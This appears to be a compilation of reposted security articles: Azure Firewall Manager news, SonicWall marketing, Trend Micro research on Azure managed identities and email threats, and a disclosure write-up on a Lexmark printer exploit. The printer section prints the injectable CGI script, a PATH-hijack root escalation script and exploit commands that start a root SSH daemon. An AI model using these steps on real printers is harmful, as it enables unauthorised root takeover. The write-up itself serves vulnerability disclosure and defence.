Simplify and centralize network security management with Azure Firewall Manager

We are excited to share that Azure Web Application Firewall (WAF) policy and Azure DDoS Protection plan management in Microsoft Azure Firewall Manager is now generally available.

With an increasing need to secure cloud deployments through a Zero Trust approach, the ability to manage network security policies and resources in one central place is a key security measure.

Today, you can now centrally manage Azure Web Application Firewall (WAF) to provide Layer 7 application security to your application delivery platforms, Azure Front Door, and Azure Application Gateway, in your networks and across subscriptions. You can also configure DDoS Protection Standard for protecting your virtual networks from Layer 3 and Layer 4 attacks.

Azure Firewall Manager is a central network security policy and route management service that allows administrators and organizations to protect their networks and cloud platforms at a scale, all in one central place. 

Azure Web Application Firewall is a cloud-native web application firewall (WAF) service that provides powerful protection for web apps from common hacking techniques such as SQL injection and security vulnerabilities such as cross-site scripting.

Azure DDoS Protection Standard provides enhanced Distributed Denial-of-Service (DDoS) mitigation features to defend against DDoS attacks. It is automatically tuned to protect all public IP addresses in virtual networks. Protection is simple to enable on any new or existing virtual network and does not require any application or resource changes. 

By utilizing both WAF policy and DDoS protection in your network, this provides multi-layered protection across all your essential workloads and applications.

WAF policy and DDoS Protection plan management are an addition to Azure Firewall management in Azure Firewall Manager.

Centrally protect your application delivery platforms using WAF policies 

In Azure Firewall Manager, you can now manage and protect your Azure Front Door or Application Gateway deployments by associating WAF policies, at scale. This allows you to view all your key deployments in one central place, alongside Azure Firewall deployments and DDoS Protection plans.

Associating a WAF policy to an Azure Front Door

Upgrade from WAF configuration to WAF policy

In addition, the platform supports administrators to upgrade from a WAF config to WAF policies for Application Gateways, by selecting the service and Upgrade from WAF configuration. This allows for a more seamless process for migrating to WAF policies, which supports WAF policy settings, managed rulesets, exclusions, and disabled rule-groups.

As a note, all WAF configurations that were previously created in Application Gateway can be done through WAF policy.

Upgrading a WAF configuration to WAF policy

Manage DDoS Protection plans for your virtual networks

You can enable DDoS Protection Plan Standard on your virtual networks listed in Azure Firewall Manager, across subscriptions and regions. This allows you to see which virtual networks have Azure Firewall and/or DDoS protection in a single place.

 Figure 3: Enabling DDoS Protection Standard on a virtual network in Azure Firewall Manager

View and create WAF policies and DDoS Protection Plans in Azure Firewall Manager

You can view and create WAF policies and DDoS Protection Plans from the Azure Firewall Manager experience, alongside Azure Firewall policies.

In addition, you can import existing WAF policies to create a new WAF policy, so you do not need to start from scratch if you want to maintain similar settings.

Figure 4: View of Web Application Firewall Policies in Azure Firewall Manager
Figure 5: View of DDoS Protection Plans in Azure Firewall Manager

Monitor your overall network security posture

Azure Firewall Manager provides monitoring of your overall network security posture. Here, you can easily see which virtual networks and virtual hubs are protected by Azure Firewall, a third-party security provider, or DDoS Protection Standard. This overview can help you identify and prioritize any security gaps that are in your Azure environment, across subscriptions or for the whole tenant.

Figure 6: Monitoring page in Azure Firewall Manager

Coming soon, you’ll also be able to view your Application Gateway and Azure Front Door monitors, for a full network security overview.

Learn more

To learn more about these features in Azure Firewall Manager, visit the Manage Web Application Firewall policies tutorial, WAF on Application Gateway documentation, and WAF on Azure Front Door documentation. For DDoS information, visit the Configure Azure DDoS Protection Plan using Azure Firewall Manager tutorial and Azure DDoS Protection documentation.

To learn more about Azure Firewall Manager, please visit the Azure Firewall Manager home page.

Source :
https://azure.microsoft.com/en-us/blog/simplify-and-centralize-network-security-management-with-azure-firewall-manager/

For the Common Good: How to Compromise a Printer in Three Simple Steps

In August 2021, ZDI announced Pwn2Own Austin 2021, a security contest focusing on phones, printers, NAS devices and smart speakers, among other things. The Pwn2Own contest encourages security researchers to demonstrate remote zero-day exploits against a list of specified devices. If successful, the researchers are rewarded with a cash prize, and the leveraged vulnerabilities are responsibly disclosed to the respective vendors so they can improve the security of their products.

After reviewing the list of devices, we decided to target the Cisco RV340 router and the Lexmark MC3224i printer, and we managed to identify several vulnerabilities in both of them. Fortunately, we were luckier than last year and were able to participate in the contest for the first time. By successfully exploiting both devices, we won $20,000 USD, which CrowdStrike donated to several charitable organizations chosen by our researchers.

In this blog post, we outline the vulnerabilities we discovered and used to compromise the Lexmark printer.

Overview

ProductLexmark MC3224
Affected Firmware Versions
(without claim for completeness)
CXLBL.075.272 (2021-07-29)
CXLBL.075.281 (2021-10-14)
Fixed Firmware VersionCXLBL.076.294 (CVE-2021-44735) Note: Users must implement a workaround to address CVE-2021-44736, see Lexmark Security Alert
CVECVE-2021-44735 (Shell Command Injection)
CVE-2021-44736 (Authentication Reset)
Root CausesAuthentication Bypass, Shell Command Injection, Insecure SUID Binary
ImpactUnauthenticated Remote Code Execution (RCE) as root
ResearchersHanno Heinrichs, Lukas Kupczyk
Lexmark Resourceshttps[:]//publications.lexmark[.]com/publications/security-alerts/CVE-2021-44735.pdf
https[:]//publications.lexmark[.]com/publications/security-alerts/CVE-2021-44736.pdf

Step #1: Increasing Attack Surface via Authentication Reset

Before we could start our analysis, we first had to obtain a copy of the firmware. It quickly turned out that the firmware is shipped as an .fls file in a custom binary format containing encrypted data. Luckily, a detailed writeup on the encryption scheme had been published in September 2020. While the writeup did not include code or cryptographic keys, it was elaborate enough that we were able to quickly reproduce it and write our own decrypter. With our firmware decryption tool at hand, we were finally able to peek into the firmware.

It was assumed that the printer would be in a default configuration during the contest and that the setup wizard on the printer had been completed. Thus, we expected the administrator password to be set to an unknown value. In this state, unauthenticated users can still trigger a vast amount of actions through the web interface. One of these is Sanitize all information on nonvolatile memory. It can be found under Settings -> Device -> Maintenance. There are several options to choose from when performing that action:

[x] Sanitize all information on nonvolatile memory
  (x) Start initial setup wizard
  ( ) Leave printer offline
[x] Erase all printer and network settings
[x] Erase all shortcuts and shortcut settings

[Start] [Reset]

If the checkboxes are ticked as shown, the process can be initiated through the Start button. The printer’s non-volatile memory will be cleared and a reboot is initiated. This process takes approximately two minutes. Afterward, unauthenticated users can access all functions through the web interface.

Step #2: Shell Command Injection

After resetting the nvram as outlined in the previous section, the CGI script https://target/cgi-bin/sniffcapture_post becomes accessible without authentication. It was previously discovered by browsing the decrypted firmware and is located in the directory /usr/share/web/cgi-bin.

At the beginning of the script, the supplied POST body is stored in the variable data. Afterward, several other variables such as interfacedestpath and filter are extracted and populated from that data by using sed:

read data

remove=${data/*-r*/1}
if [ "x${remove}" != "x1" ]; then
    remove=0
fi
interface=$(echo ${data} | sed -n 's|^.*-i[[:space:]]\([^[:space:]]\+\).*$|\1|p')
dest=$(echo ${data} | sed -n 's|^.*-f[[:space:]]\([^[:space:]]\+\).*$|\1|p')
path=$(echo ${data} | sed -n 's|^.*-f[[:space:]]\([^[:space:]]\+\).*$|\1|p')
method="startSniffer"
auto=0
if [ "x${dest}" = "x/dev/null" ]; then
    method="stopSniffer"
elif [ "x${dest}" = "x/usr/bin" ]; then
    auto=1
fi
filter=$(echo ${data} | sed -n 's|^.*-F[[:space:]]\+\(["]\)\(.*\)\1.*$|\2|p')
args="-i ${interface} -f ${dest}/sniff_control.pcap"

The variable filter is determined by a quoted string following the value -F specified in the POST body. As shown below, it is later embedded into the args variable in case it has been specified along with an interface:

fmt=""
args=""
if [ ${remove} -ne 0 ]; then
    fmt="${fmt}b"
    args="${args} remove 1"
fi
if [ -n "${interface}" ]; then
    fmt="${fmt}s"
    args="${args} interface ${interface}"
    if [ -n "${filter}" ]; then
        fmt="${fmt}s"
        args="${args} filter \"${filter}\""
    fi
    if [ ${auto} -ne 0 ]; then
        fmt="${fmt}b"
        args="${args} auto 1"
    else
        fmt="${fmt}s"
        args="${args} dest ${dest}"
    fi
fi
[...]

At the end of the script, the resulting args value is used in an eval statement:

[...]
resp=""
if [ -n "${fmt}" ]; then
    resp=$(eval rob call system.sniffer ${method} "{${fmt}}" ${args:1} 2>/dev/null)
    submitted=1
[...]

By controlling the filter variable, attackers are therefore able to inject further shell commands and gain access to the printer as uid=985(httpd), which is the user that the web server is executed as.

Step #3: Privilege Escalation

The printer ships a custom root-owned SUID binary called collect-selogs-wrapper:

# ls -la usr/bin/collect-selogs-wrapper
-rwsr-xr-x. 1 root root 7324 Jun 14 15:46 usr/bin/collect-selogs-wrapper

In its main() function, the effective user ID (0) is retrieved and the process’s real user ID is set to that value. Afterward, the shell script /usr/bin/collect-selogs.sh is executed:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __uid_t euid; // r0

  euid = geteuid();
  if ( setuid(euid) )
    perror("setuid");
  return execv("/usr/bin/collect-selogs.sh", (char *const *)argv);
}

Effectively, the shell script is executed as root with UID=EUID, and therefore the shell does not drop privileges. Furthermore, argv[] of the SUID binary is passed to the shell script. As the environment variables are also retained across the execv() call, an attacker is able to specify a malicious $PATH value. Any command inside the shell script that is not referenced by its absolute path can thereby be detoured by the attacker.

The first opportunity for such an attack is the invocation of systemd-cat inside sd_journal_print():

# cat usr/bin/collect-selogs.sh
#!/bin/sh
# Collects fwdebug from the current state plus the last 3 fwdebug files from
# previous auto-collections. The collected files will be archived and compressed
# to the requested output directory or to the standard output if the output
# directory is not specified.

sd_journal_print() {
    systemd-cat -t collect-selogs echo "$@"
}

sd_journal_print "Start! params: '$@'"

[...]

The /dev/shm directory can be used to prepare a malicious version of systemd-cat:

$ cat /dev/shm/systemd-cat
#!/bin/sh
mount -o remount,suid /dev/shm
cp /usr/bin/python3 /dev/shm
chmod +s /dev/shm/python3
$ chmod +x /dev/shm/systemd-cat

This script remounts /dev/shm with the suid flag so that SUID binaries can be executed from it. It then copies the system’s Python interpreter to the same directory and enables the SUID bit on it. The malicious systemd-cat copy can be executed as root by invoking the setuid collect-setlogs-wrapper binary like this:

$ PATH=/dev/shm:$PATH /usr/bin/collect-selogs-wrapper

The $PATH environment variable is prepended with the /dev/shm directory that hosts the malicious systemd-cat copy. After executing the command, a root-owned SUID-enabled copy of the Python interpreter is located in /dev/shm:

root@ET788C773C9E20:~# ls -la /dev/shm
drwxrwxrwt    2 root     root           100 Oct 29 09:33 .
drwxr-xr-x   13 root     root          5160 Oct 29 09:31 ..
-rwsr-sr-x    1 root     httpd         8256 Oct 29 09:33 python3
-rw-------    1 nobody   nogroup         16 Oct 29 09:31 sem.netapps.rawprint
-rwxr-xr-x    1 httpd    httpd           96 Oct 29 09:33 systemd-cat

The idea behind this technique is to establish a simple way of escalating privileges without having to exploit the initial collect_selogs_wrapper SUID again. We did not use the Bash binary for this, as the version shipped with the printer seems to ignore the -p flag when running with UID!=EUID.

Exploit

An exploit combining the three vulnerabilities to gain unauthenticated code execution as root  has been implemented as a Python script. First, the exploit tries to determine whether the printer has a login password set (i.e., setup wizard has been completed) or it is password-less (i.e., authentication reset already executed earlier or setup wizard not yet completed). Depending on the result, it decides whether the non-volatile memory reset is required.

If the non-volatile memory reset is triggered, the exploit waits for the printer to finish rebooting. Afterward, it continues with the shell command injection step and escalation of privileges. The privileged access is then used to start an OpenSSH daemon on the printer. To finish, the exploit establishes an interactive SSH session with the printer and hands control over to the user. An example run of the exploit in a testing environment follows:

$ ./mc3224i_exploit.py https://10.64.23.20/ sshd
[*] Probing device...
[+] Firmware: CXLBL.075.281
[+] Acceptable login methods: ['LDAP_DEVICE_REALM',        
    'LOGIN_METHODS_WITH_CREDS']
[*] Device IS password protected, auth bypass required
[*] Erasing nvram...
[+] Success! HTTP status: 200, rc=1
[*] Waiting for printer to reboot, sleeping 5 seconds...
[*] Checking status...
xxxxxxxxxxxxxxxxxxxxxxx!
[+] Reboot finished
[*] Probing device...
[+] Firmware: CXLBL.075.281
[+] Acceptable login methods: ['LDAP_DEVICE_REALM']
[*] Device IS NOT password protected
[+] Authentication bypass done
[*] Attempting to escalate privileges...
[*] Executing command (root? False):
    echo -e '#!/bin/sh\\n
    mount -o remount,suid /dev/shm\\n
    cp /usr/bin/python3 /dev/shm\\nchmod +s /dev/shm/python3' >
    /dev/shm/systemd-cat; chmod +x /dev/shm/systemd-cat
[+] HTTP status: 200
[*] Executing command (root? False): PATH=/dev/shm:$PATH /usr/bin/collect-selogs-wrapper
[+] request timed out, that’s what we expect
[+] SUID Python interpreter should be created
[*] Attempting to enable SSH daemon...
[*] Executing command (root? True):
sed -Ee 's/(RSAAuthentication|UsePrivilegeSeparation|UseLogin)/#\\1/g'
    -e 's/AllowUsers guest/AllowUsers root guest/'
    /etc/ssh/sshd_config_perf > /tmp/sshconf;
    mkdir /var/run/sshd;
    iptables -I INPUT 1 -p tcp --dport 22 -j ACCEPT;
    nohup /usr/sbin/sshd -f /tmp/sshconf &
[+] HTTP status: 200
[+] SSH daemon should be running
[*] Trying to call ssh... ('ssh', '-i', '/tmp/tmpd2vc5a2u', 'root@10.64.23.20')
root@ET788C773C9E20:~# id
uid=0(root) gid=0(root) groups=0(root)

Summary

In this blog, we described a number of vulnerabilities that can be exploited from the local network to bypass authentication, execute arbitrary shell commands, and elevate privileges on a Lexmark MC3224i printer. The research started as an experiment after the announcement of the Pwn2Own Austin 2021. The team enjoyed the challenge, as well as participating in Pwn2Own for the first time, and we welcome your feedback. We’d also like to invite you to read about the other device we successfully targeted during Pwn2Own Austin 2021, the Cisco RV340 router.

Additional Resources

Three Keys to Modern Cyberdefense: Affordability, Availability, Efficacy

Choosing a cybersecurity vendor can feel like a never-ending series of compromises. But with SonicWall’s portfolio of high-quality solutions — available at industry-leading TCOs and in stock — it doesn’t have to.

(Our previous supply-chain updates can be found here and here.)

If you’ve ever been to a small-town mechanic, chances are you’ve seen the sign: “We offer three types of service here — Good, Fast and Cheap. Pick any two!”

In cybersecurity, this can be framed as “Affordability, Availability and Efficacy,” but the idea is the same — when making your choice, something’s got to give.

The effects of this mentality are sending ripples across the cybersecurity industry. At the recent 2022 RSA Conference, Joe Hubback of cyber risk management firm ISTARI explained that based on his survey, a full 90% of CISOs, CIOs, government organizations and more reported they aren’t getting the efficacy promised by vendors.

Several reasons for this were discussed, but most came back to this idea of compromise —buyers want products now, and they’re facing budget constraints. So, they often believe the vendors’ claims (which tend to be exaggerated). With little actual evidence or confirmation for these claims available, and little time to evaluate these solutions for themselves, customers are left disappointed.

To make the buying process more transparent and objective, Hubback says, vendor solutions should be evaluated in terms of CapabilityPracticalityQuality and Provenance. While his presentation didn’t reference the Affordability-Availability-Efficacy trifecta directly, these ideas are interconnected — and regardless of whether you use either metric or both, SonicWall comes out ahead.

Availability: Supply-Chain Constraints and Lack of Inventory

Order and install times have always been a consideration. But the current climate has led to a paradox in modern cybersecurity: With cyberattack surfaces widening and cybercrime rising, you really ought to have upgraded yesterday. But in many cases, the components you need won’t be in stock for several months.

While many customers are being locked into high-dollar contracts and then being forced to wait for inventory, this isn’t true for SonicWall customers: Our supply chain is fully operational and ready to safeguard your organization.

SonicWall is currently fulfilling 95% of orders within three days.

Procurement Planning & Forecasting

“We’re hearing more often than not that our competitors don’t have the product on the shelf, but we’ve been managing this for nearly two years,” SonicWall Executive Vice President of Operations Yew-Joo Hoe said.

In autumn of 2020, as lead times began to creep up, SonicWall’s operations department immediately began altering internal processes, changing the way it works with suppliers and ships goods, and even re-engineering some products to deliver the same performance with more readily available components.

So now, even amid remarkable growth — 2021 saw a 33% increase in new customer growth, along with a 45% rise in new customer sales — SonicWall is currently fulfilling 95% of orders within three days.

But even as we’ve zeroed in on supply-chain continuity, our dedication to the Provenance of our supply chain has been unwavering. We aim to secure, connect and mobilize organizations operating within approved or authorized regions, territories and countries by ensuring the integrity of our supply chain from start to finish.

SonicWall products are also compliant with the Trade Agreements Act in the U.S., and our practices help ensure SonicWall products aren’t compromised by third parties during the manufacturing process.

Affordability: The Two Facets of TCO

SonicWall’s goal is to deliver industry-leading TCO. But this is more than a marketing message for us — we put it to the test.

SonicWall recently commissioned the Tolly Group to evaluate the SonicWall NSsp 13700, the NSsp 15700, the NSa 2700 and more against equivalent competitor products. Each time, the SonicWall product was named the better value, saving customers thousands, tens of thousands and even hundreds of thousands while delivering superior threat protection.

But we also recognize that the measure of a product’s affordability extends beyond the number on an order sheet, to how much labor that solution requires. Hubback summarized the idea of Practicality as “Is this actually something I can use in my company without needing some kind of Top Gun pilot to fly it and make it work?” With cybersecurity professionals getting harder to find, and their experience becoming more expensive every day, the ideas of Practicality and Affordability have never been so intertwined.

Fortunately, SonicWall has long recognized this association, and we’ve built our products to reduce both the amount of human intervention and the required skill level needed to run our solutions.

Innovations such as Zero-Touch Deployment, cloud-based management, single-pane-of-glass interfaces, simplified policy creation and management, and one-click rollback in the event of a breach have brought increased simplicity to our portfolio without sacrificing performance or flexibility.

Efficacy: How It’s Built and How It Performs

Hubback’s final two criteria, Quality and Capability, describe how well a solution is built, and how well it can do what it promises. Taken together, these form the core of what we think of as Efficacy.

While Quality is the most enigmatic of Hubback’s criteria, it can be reasonably ascertained based on a handful of factors, such as longevity, customer satisfaction and growth.

With over 30 years of experience, SonicWall is a veteran cybersecurity leader trusted by SMBs, enterprises and government agencies around the globe. In the crowded cybersecurity market, this sort of longevity isn’t possible without quality offerings — and our quantity of repeat purchasers and scores of customer case studies attest to the high standards we maintain for every solution we build.

In contrast, Capability can be very easy to judge — if a vendor chooses to put its products to the test. Independent, third-party evaluation is the gold standard for determining whether products live up to their promises. And based on this metric, SonicWall comes out on top.

To provide customers objective information about its performance, SonicWall Capture ATP with RTDMI has been evaluated by third-party testing firm ICSA Labs, an independent division of Verizon. For the past five consecutive quarters, the solution has found 100% of the threats without issuing a single false positive. SonicWall has now earned more perfect scores — and more back-to-back perfect scores — than any other active vendor.

Today, thousands of organizations will shop for new or upgraded cybersecurity solutions. While they may differ in size, industry, use case and more, at the end of the day, they’re all looking for basically the same thing: A reliable solution that performs as advertised, at a price that fits within their budget, that can be up and running as soon as possible.

There will always be those who tell you that you can’t have everything; that the center of this Venn diagram will always be empty. But at SonicWall, we refuse to compromise — and we think you should, too.

Source :
https://blog.sonicwall.com/en-us/2022/06/three-keys-to-modern-cyberdefense-affordability-availability-efficacy/

BEC Attacks: Can You Stop the Imposters in Your Inbox?

BEC attacks are a $1.8 billion dollar racket — and statistically, your business will be targeted sooner rather than later. Watch this webinar to learn how to stop them.

If asked which of the threat types tracked by the FBI causes the most financial damage, most people would say ransomware.

They’d be wrong.

In 2021, the FBI’s Internet Crime Complaint Center (IC3) received 19,954 Business Email Compromise (BEC) reports, with adjusted losses totaling almost $2.4 billion. That’s an average of more than $120,270 per incident, compared with just under $13,200 per incident for ransomware attacks.

Since the FBI began tracking these threats in 2013, tens of billions in financial losses have been recorded, resulting from nearly 170,000 incidents in 178 countries.

So why hasn’t this threat risen to the notoriety of ransomware?

During many ransomware attacks, business operations grind to a halt. When a company loses access to customer information, payment systems and mission-critical applications, it often becomes clear in short order that something is wrong.

But BEC attacks are comparatively silent. Even when these attacks have a huge impact on an organization’s bottom line, operations can generally continue as usual. As a result, businesses frequently opt to keep these attacks out of the public eye to avoid risking reputation damage and loss of trust.

But although ransomware still dominates security news, the growing frequency, volume and cost of BEC attacks have begun attracting more attention.

As a result, BEC attacks have become a top threat concern for many organizations today, according to a recent SonicWall-sponsored white paper by Osterman Research. “How to Deal with Business Email Compromise” reports primary research data from an in-depth customer survey of 119 respondents, each of which has direct knowledge of how their organization is addressing or planning to address the risk of BEC.

The results from this study offer a look at how security influencers and decision-makers are taking BEC into account when formulating their spending plans for the next 12 months. For example, while just 46% of organizations said they considered protecting against BEC attacks “important” or “extremely important” 12 months ago, 76% said they considered it important or extremely important today.

Image describing BEC Importance

80%

Organizations indicating that protecting against BEC attacks in 2023 is of high importance

The data also shows that three-fifths of organizations in the study view protecting against BEC attacks as one of their top five security priorities.

62%

Organizations ranking protecting against BEC attacks as one of their top five priorities.

How BEC Attacks Fly Under the Radar

But what makes BEC attacks so dangerous when compared with other forms of cyberattacks? And why are they harder to stop?

BEC is a specialized type of phishing attack that relies on social engineering. They often use a proven pretexting technique to engineer a quick introduction and establish a believable scenario in order to manipulate the victim to take a specific action.

While these attacks can target employees at any level of an organization, they generally start with an attacker impersonating a person with authority, such as a CEO or CFO, a manager, or a supplier. The attacker uses the authority figure’s identity to start a chain of plausible (but fake) requests to gain monetary payment. This typically involves instructing someone in accounts payable, someone in HR or even someone with a company credit card to pay a fake invoice, transfer funds, send gift cards or make payroll payouts. The urgent tone of these messages encourages the victim to respond or act quickly, bypassing any checks and balances that may be in place.

Compared with other forms of cyberattacks, BEC attacks are among the hardest to detect because the threat signals are far less obvious. Relying on trickery and impersonation, the approach is very subtle, and the actual delivery generally doesn’t use weaponized URLs or malicious attachments, which are easily detected.

In addition, the email content and the delivery mechanism are usually of higher quality and often tailored to target a specific person or persons. With little to no apparent sign of a threat, these messages can bypass most email security filters to reach the inbox — and the absence of any sort of alert, such as a contextual warning advising them to exercise caution, leaves the victim more vulnerable to falling for the scam.

Because so many of these scams are successful, their use has grown dramatically — today, roughly 80% of companies targeted by BEC attacks each year. While there isn’t much you can do to avoid being targeted, there’s plenty you can do to safeguard your organization’s finances. To learn more about BEC attacks and how to stop them, check out our webinar, “Can You Stop the Imposters in Your Inbox?

Source :
https://blog.sonicwall.com/en-us/2022/06/bec-attacks-can-you-stop-the-imposters-in-your-inbox/

An Analysis of Azure Managed Identities Within Serverless Environments

We examine Azure’s Managed Identities service and its security capability in a threat model as developers’ go-to feature for managing secrets and credentials.

Authentication and authorization play crucial parts when securing resources. Authentication verifies that the service or user accessing the secured resources has provided valid credentials, while authorization makes sure that they have sufficient permissions for the request itself.

Broken Access Control is listed among the top 10 OWASP prevalent web application issues from 2017 to 2021, and we have previously written about the importance of secrets management used for authentication. This occurs when an unauthorized user can access, modify, delete, or perform actions within an application or system that is outside the set permissions or policies, malicious or unintended. Broken access control has become the number one concern in the organization’s list, and in this article, we discuss Azure’s Managed Identities service inside the cloud service provider (CSP) to tackle the said web application issue.

Managing system and user identities

Managed Identities for Azure allows users to authenticate certain services available within the CSP. This is done by providing the cloud application a token used for service authentication. We distinguish between two types of managed identities: system-assigned identities and user-assigned identities. To differentiate, system-assigned identities are restricted from one to the resource, which means that different user roles can’t be applied to the same resource. On the other hand, user-managed identities solve this problem and we can imagine them as user roles.

Figure 1. Usage of Managed Identities


For instance, we want to use an Azure storage account within a serverless application for saving our application records. For this purpose, we decided to use a system-managed identity.

This practically means:

  • Enable managed identities inside a serverless function
  • Grant serverless functions the necessary permissions for storage account access

Figure 2. Enabling managed identities in a serverless function


After that, we can start using the managed identity for authentication to the storage account. In the following sections, we will look at how the managed identities interface is technically implemented within the serverless environment and the corresponding security implications based on our recent research.

Managing identities in the serverless environment

To make it work, the serverless environment runs a special .NET application process named “dotnet TokenServiceContainer.dll.” This process listens on a localhost and port 8081 to accept HTTP requests. The endpoint for requesting a token is http://localhost:8081/msi/token, and the required parameters specifies that the API version used and resource identifier for which the service requests the token. Optionally, it uses “client_id,” which is a parameter used when a managed user identity token is requested. The request also needs a specific X-IDENTITY-HEADER, and the needed value is present inside IDENTITY_HEADER or an MSI_SECRET environmental variable.

After receiving this token request, the request is delegated to the endpoint within the CSP (another service) and provides the requested token. The endpoint is publicly available and is a part of the *.identity.azure.net subdomain based on the region of the serverless application. By design and public access to the endpoint the service requires authentication, and this is done using a X509 client certificate. This certificate is unique to the specific application ID (meaning the serverless function has a one-to-one pairing of certificate and app ID) and valid for 180 days. If the request is successful, it returns a JSON response with a bearer token valid for one day.

Figure 3. Managed identities inside serverless environments


From that perspective, the security standard is high, which is expected from a CSP service. However, there is one hidden danger and that is the certificate itself. The certificate can be leaked by leaking environmental variables.

The Managed Service Identity (MSI) certificate is part of the encrypted container context, which can be accessed inside using a URL-specified CONTAINER_START_CONTEXT_SAS_URI and decrypted using the CONTAINER_ENCRYPTION_KEY variable. Once the certificate is leaked, it can be used to obtain the token outside the scope of CSP services and successfully used for publicly available service endpoints as it would be called from the CSP service.

Threat model and scenario

Figure 4. PoC of getting token using leaked environmental variables from Managed Identity service


At this point, we should emphasize that to be able to abuse the retained token, a certain factor (or malicious actor) must first leak these environmental variables and there must be an assigned role within the requested resource, the pre-requisites being the identities enabled and the role set for the application. This means there are no default roles unless explicitly specified within the CSP settings.

However, as this example of potential compromise shows from a gap leaking environmental variables of a Linux endpoint, using environmental variables for storing sensitive information is not a valid secure approach as they are by default inherited into the child process. Considering that the information is available inside the environment itself and that the certificate contains all the information provided, the endpoint for getting the token now becomes publicly available. A threat actor can get the authentication token outside of the CSP’s service and get all the permissions as the original user.

In this example, the token provider service within the serverless environment is running under a different user. Why is the client certificate available not only for this user in the form of a file with permissions only for that user? This allows a compromised serverless function to leak it and obtain the access token from the external service. But while the unauthorized user can’t get additional privileges other than what the function has, this is enough to conduct activities inside the environment that can have a range of damaging effects. By moving a client certificate into the security boundary of token service user and setting access permissions for the token service user as read-only, we guarantee that even in case of a compromise, the client certificate could not be leaked and used outside the CSP service without additional lateral movement.

The security chain is only as strong as its weakest parts. And while CSP services are not inherently insecure, small design weaknesses put together with improper user configurations could lead to bigger, more damaging consequences. Design applications, environments, and all their related variables with security in mind. If possible, avoid using environmental variables. Following best security practices such as applying the principle of least privilege helps to mitigate the consequences of a breach.

Source :
https://www.trendmicro.com/vinfo/us/security/news/virtualization-and-cloud/an-analysis-of-azure-managed-identities-within-serverless-environments

Trend Micro Cloud App Security Threat Report 2021

In this report, we highlight the notable email threats of 2021, including over 33.6 million high-risk email threats (representing a 101% increase from 2020’s numbers) that we’ve detected using the Trend Micro Cloud App Security platform.

Email is an integral cog in the digital transformation machine. This was especially true in 2021, when organizations found themselves trying to keep business operations afloat in the middle of a pandemic that has forever changed how people work. At a time when the workplace had already largely shifted from offices to homes, malicious actors continued to favor email as a low-effort yet high-impact attack vector to disseminate malware.

Email is not only popular among cybercriminals for its simplicity but also for its efficacy. In fact, 74.1% of the total threats blocked by Trend Micro in 2021 are email threats. Meanwhile, the 2021 Internet Crime Report by the FBI’s Internet Crime Complaint Center (IC3) states that there was “an unprecedented increase in cyberattacks and malicious cyber activity” last year, with business email compromise (BEC) being among the top incidents.

In this report, we discuss the notable email threats of 2021 based on the data that we’ve gathered using the Trend Micro™ Cloud App Security™, a security solution that supplements the preexisting security features in email and collaboration platforms.

Download our infographic

Malware detections surge as attacks become more elaborate, targeted

The Trend Micro Cloud App Security solution detected and thwarted a total of 3,315,539 total malware files in 2021. More urgently, this number represents an increase of a whopping 196% from 2020’s numbers. There were also huge spikes in both known and unknown malware detections in 2021 at 133.8% and 221%, respectively.

Cybercriminals worked overtime to attach malware in malicious emails in 2021 using advanced tactics and social engineering lures. In January, we saw how Emotet sent spam emails that used hexadecimal and octal representations of IP addresses for detection evasion in its delivery of malware such as TrickBot and Cobalt Strike.

In May last year, we reported on Panda Stealer, an information stealer that targets cryptocurrency wallets and credentials via spam emails. We also shared an update on APT-C-36 (aka Blind Eagle), an advanced persistent threat (APT) group targeting South American entities using a spam campaign that used fraudulent emails impersonating Colombia’s national directorate of taxes and customs and even fake infidelity email lures.

QAKBOT operators also resumed their spam campaign in late 2021 after an almost three-month hiatus and abused hijacked email threads to lead victims to both QAKBOT and the SquirrelWaffle malware loader.

Meanwhile, ransomware detections continued to decline in 2021, a consistent trend that we have been seeing in previous years. Last year, the Trend Micro Cloud App Security solution detected and blocked 101,215 ransomware files — a 43.4% decrease compared to 2020’s detections.

The reason behind this continuing decline is possibly two-fold: One, unlike legacy ransomware that focuses on the quantity of victims, modern ransomware focuses on waging highly targeted and planned attacks to yield bigger profits. Since today’s ransomware actors no longer abide by the spray-and-pray ransomware model, the number of attacks are no longer as massive as the number that we witnessed in ransomware’s early days. We identified the other reason in our year-end roundup report: That is, it’s possible that ransomware detections are down because our cybersecurity solutions continue to block an increasing number of ransomware affiliate tools each year, including TrickBot and BazarLoader. This could have prevented ransomware attacks from being successfully executed on victim environments.

Known, unknown, and overall credential phishing attacks rose in 2021

Based on Trend Micro Cloud App Security data, 6,299,883 credential phishing attacks were detected and blocked in 2021, which accounts for a 15.2% overall increase. Similar to last year, the number of known credential phishing attacks is greater than the unknown ones. However, this year, the percentage of increase is at a staggering 72.8%.

When comparing 2020 and 2021’s numbers, we saw an 8.4% increase in the number of detections for known credential phishing links, while a 30% growth is observed in the number of detections for unknown credential phishing links.

Abnormal Security noted the increase in overall credential phishing attacks in one 2021 report and stated that credential phishing is attributed to 73% of all advanced threats that they’ve analyzed.

We have also documented the rise in credential phishing attacks from previous years. In fact, in the first half of 2019, the Trend Micro Cloud App Security solution detected and blocked 2.4 million credential phishing attacks alone.

BEC’s small numbers bring big business losses

The Trend Micro Cloud App Security solution intercepted a total of 283,859 BEC attacks in 2021. Compared with 2020’s BEC detections, this number represents a 10.61% decrease. Interestingly, there is an 82.7% increase in this year’s BEC attacks that were detected using Writing Style DNA, while there is a 38.59% decrease in attacks that have been blocked using the antispam engine.

Overall, BEC numbers have consistently been on a downward trend since 2020. But the reduction in BEC victims doesn’t equate to a dip in cybercriminal profits. According to the FBI’s IC3, BEC accounted for US$2.4 billion in adjusted losses for both businesses and consumers in 2021. According to the same organization, BEC losses have reached over US$43 billion between June 2016 and December 2021 for both domestic and international incidents.

We have also observed how BEC actors continuously tweak their tactics for ill gain. In August last year, our telemetry showed a gradual increase in BEC detections. Upon investigation, we discovered that instead of impersonating company executives and upper management personnel, this BEC-related email campaign impersonated and targeted ordinary employees for money transfers and bank payroll account changes.

Covid-19 lures, cybercriminal campaigns behind massive jump in phishing numbers

The Trend Micro Cloud App Security solution data shows that a total of 16,451,166 phishing attacks were detected and blocked in 2021. This is a 137.6% growth from 2020’s phishing numbers.

In contrast to last year’s numbers, we saw a significant jump in phishing attacks detected via spam count this year — a whopping 596% increase, to be specific. Meanwhile, we observed a notable 15.26% increase in credential phishing count compared to last year.

These high numbers reflect organizations’ sentiments about phishing attacks. According to a survey in an Osterman Research report titled “How to Reduce the Risk of Phishing and Ransomware,” organizations were “concerned” or “extremely concerned” about phishing attempts making their way to end users and employees failing to spot phishing and social engineering attacks before accessing a link or attachment.

